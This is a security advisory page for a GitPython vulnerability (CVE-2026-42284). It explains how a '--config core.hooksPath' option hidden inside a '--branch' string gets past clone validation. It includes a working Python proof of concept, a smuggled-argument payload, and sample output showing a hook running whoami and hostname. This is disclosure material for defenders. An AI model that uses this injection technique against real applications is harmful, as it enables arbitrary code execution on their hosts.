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CVE-2026-42284 is a critical severity vulnerability with a CVSS score of 9.8. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.
The vulnerable code is in git/repo/base.py line 1383:
multi = shlex.split(" ".join(multi_options))
Then validation runs on the original list at line 1390:
Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)
Then execution uses the transformed result at line 1392:
proc = git.clone(multi, "--", url, path, ...)
The check at git/cmd.py line 959 uses startswith:
if option.startswith(unsafe_option) or option == bare_option:
"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.
Also affects Submodule.update() via clone_multi_options.
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from git import Repo
from git.exc import UnsafeOptionError
try:
Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
print("multi_options=['--config', '...']: Block as expected")
except Exception:
pass
DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"
if not SRC.exists():
SRC.mkdir(parents=True)
r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
r("git", "init", "-b", "main")
(SRC / "f").write_text("x\n")
r("git", "add", ".")
r("git", "commit", "-m", "init")
HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)
LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()
try:
Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
pass
if not LOG.exists() and DST.exists():
subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)
print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
print(LOG.read_text().strip())
| Vendor | Product |
|---|---|
| Gitpython Project | Gitpython |
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Output:
multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked
Hook executed: True
texugo
DESKTOP-5w5HH79
Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.